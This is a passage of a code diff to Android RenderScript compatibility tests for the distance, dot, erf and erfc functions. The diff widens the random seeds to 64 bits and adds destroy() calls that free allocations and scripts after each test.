     private void verifyResultsDistanceHalf2Half2Half(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -574,13 +605,14 @@
     }
 
     private void checkDistanceHalf3Half3Half() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xea22ab53l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xc1eb9076l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x2e003bb4ea22ab53l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xbbdde0d0c1eb9076l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDistanceHalf3Half3Half(inLeftVector, out);
             verifyResultsDistanceHalf3Half3Half(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceHalf3Half3Half: " + e.toString());
         }
@@ -589,9 +621,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDistanceHalf3Half3Half(inLeftVector, out);
             verifyResultsDistanceHalf3Half3Half(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceHalf3Half3Half: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDistanceHalf3Half3Half(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -667,13 +702,14 @@
     }
 
     private void checkDistanceHalf4Half4Half() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb467a40fl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xbb81580al, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xdbb98908b467a40fl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe9fddde3bb81580al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDistanceHalf4Half4Half(inLeftVector, out);
             verifyResultsDistanceHalf4Half4Half(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceHalf4Half4Half: " + e.toString());
         }
@@ -682,9 +718,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDistanceHalf4Half4Half(inLeftVector, out);
             verifyResultsDistanceHalf4Half4Half(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceHalf4Half4Half: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDistanceHalf4Half4Half(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDot.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDot.java
index 5fe3d9e..87060e1 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDot.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDot.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestDotRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inLeftVector;
         public float inRightVector;
@@ -44,13 +51,14 @@
     }
 
     private void checkDotFloatFloatFloat() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf7ff2d3el, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x15f562efl, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x38fe5ebdf7ff2d3el, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x948dc35615f562efl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDotFloatFloatFloat(inLeftVector, out);
             verifyResultsDotFloatFloatFloat(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDotFloatFloatFloat(inLeftVector, out);
             verifyResultsDotFloatFloatFloat(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotFloatFloatFloat: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDotFloatFloatFloat(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -126,13 +137,14 @@
     }
 
     private void checkDotFloat2Float2Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xbf79d3a2l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x978f55bbl, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3a9fadaebf79d3a2l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdaa605c7978f55bbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDotFloat2Float2Float(inLeftVector, out);
             verifyResultsDotFloat2Float2Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotFloat2Float2Float: " + e.toString());
         }
@@ -141,9 +153,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDotFloat2Float2Float(inLeftVector, out);
             verifyResultsDotFloat2Float2Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotFloat2Float2Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDotFloat2Float2Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -212,13 +227,14 @@
     }
 
     private void checkDotFloat3Float3Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe11887f0l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3d379ed5l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x948d32ce11887f0l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x910f51f73d379ed5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDotFloat3Float3Float(inLeftVector, out);
             verifyResultsDotFloat3Float3Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotFloat3Float3Float: " + e.toString());
         }
@@ -227,9 +243,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDotFloat3Float3Float(inLeftVector, out);
             verifyResultsDotFloat3Float3Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotFloat3Float3Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDotFloat3Float3Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -298,13 +317,14 @@
     }
 
     private void checkDotFloat4Float4Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2b73c3el, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe2dfe7efl, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd7f1f8ab02b73c3el, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x47789e26e2dfe7efl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDotFloat4Float4Float(inLeftVector, out);
             verifyResultsDotFloat4Float4Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotFloat4Float4Float: " + e.toString());
         }
@@ -313,9 +333,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDotFloat4Float4Float(inLeftVector, out);
             verifyResultsDotFloat4Float4Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotFloat4Float4Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDotFloat4Float4Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -392,13 +415,14 @@
     }
 
     private void checkDotHalfHalfHalf() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xcde53c8dl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x399f534l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x39e78807cde53c8dl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xbbb7b2bd0399f534l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDotHalfHalfHalf(inLeftVector, out);
             verifyResultsDotHalfHalfHalf(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotHalfHalfHalf: " + e.toString());
         }
@@ -407,9 +431,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDotHalfHalfHalf(inLeftVector, out);
             verifyResultsDotHalfHalfHalf(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotHalfHalfHalf: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDotHalfHalfHalf(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -481,13 +508,14 @@
     }
 
     private void checkDotHalf2Half2Half() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb1799cd3l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x3d8620f6l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa7738380b1799cd3l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x223af00b3d8620f6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDotHalf2Half2Half(inLeftVector, out);
             verifyResultsDotHalf2Half2Half(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotHalf2Half2Half: " + e.toString());
         }
@@ -496,9 +524,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDotHalf2Half2Half(inLeftVector, out);
             verifyResultsDotHalf2Half2Half(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotHalf2Half2Half: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDotHalf2Half2Half(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -574,13 +605,14 @@
     }
 
     private void checkDotHalf3Half3Half() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7bbe958fl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x371be88al, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x552cd0d47bbe958fl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x505aed1e371be88al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDotHalf3Half3Half(inLeftVector, out);
             verifyResultsDotHalf3Half3Half(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotHalf3Half3Half: " + e.toString());
         }
@@ -589,9 +621,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDotHalf3Half3Half(inLeftVector, out);
             verifyResultsDotHalf3Half3Half(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotHalf3Half3Half: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDotHalf3Half3Half(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -667,13 +702,14 @@
     }
 
     private void checkDotHalf4Half4Half() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x46038e4bl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x30b1b01el, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x2e61e2846038e4bl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7e7aea3130b1b01el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDotHalf4Half4Half(inLeftVector, out);
             verifyResultsDotHalf4Half4Half(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotHalf4Half4Half: " + e.toString());
         }
@@ -682,9 +718,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDotHalf4Half4Half(inLeftVector, out);
             verifyResultsDotHalf4Half4Half(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDotHalf4Half4Half: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDotHalf4Half4Half(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErf.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErf.java
index fee259a..d91c265 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErf.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErf.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestErfRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkErfFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa3951fb8l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xccfbfd30a3951fb8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testErfFloatFloat(inV, out);
             verifyResultsErfFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testErfFloatFloat(inV, out);
             verifyResultsErfFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkErfFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x448c58dcl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x87e26994448c58dcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testErfFloat2Float2(inV, out);
             verifyResultsErfFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testErfFloat2Float2(inV, out);
             verifyResultsErfFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkErfFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3aa779bal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x87e432af3aa779bal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testErfFloat3Float3(inV, out);
             verifyResultsErfFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testErfFloat3Float3(inV, out);
             verifyResultsErfFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkErfFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x30c29a98l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x87e5fbca30c29a98l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testErfFloat4Float4(inV, out);
             verifyResultsErfFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testErfFloat4Float4(inV, out);
             verifyResultsErfFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkErfHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x9cc93d62l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8a64fb349cc93d62l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testErfHalfHalf(inV, out);
             verifyResultsErfHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testErfHalfHalf(inV, out);
             verifyResultsErfHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkErfHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x10b366f4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x93596ee410b366f4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testErfHalf2Half2(inV, out);
             verifyResultsErfHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testErfHalf2Half2(inV, out);
             verifyResultsErfHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkErfHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6fbb2be8l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x935979856fbb2be8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testErfHalf3Half3(inV, out);
             verifyResultsErfHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testErfHalf3Half3(inV, out);
             verifyResultsErfHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkErfHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xcec2f0dcl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x93598426cec2f0dcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testErfHalf4Half4(inV, out);
             verifyResultsErfHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testErfHalf4Half4(inV, out);
             verifyResultsErfHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfc.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfc.java
index be9d6e7..60c6735 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfc.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestErfc.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestErfcRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkErfcFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xdfa008fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x40344e4f0dfa008fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testErfcFloatFloat(inV, out);
             verifyResultsErfcFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testErfcFloatFloat(inV, out);
             verifyResultsErfcFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfcFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkErfcFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb72849bbl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb9a44e42b72849bbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testErfcFloat2Float2(inV, out);
             verifyResultsErfcFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testErfcFloat2Float2(inV, out);
             verifyResultsErfcFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfcFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkErfcFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xad436a99l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xb9a6175dad436a99l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testErfcFloat3Float3(inV, out);
             verifyResultsErfcFloat3Float3(inV, out, false);
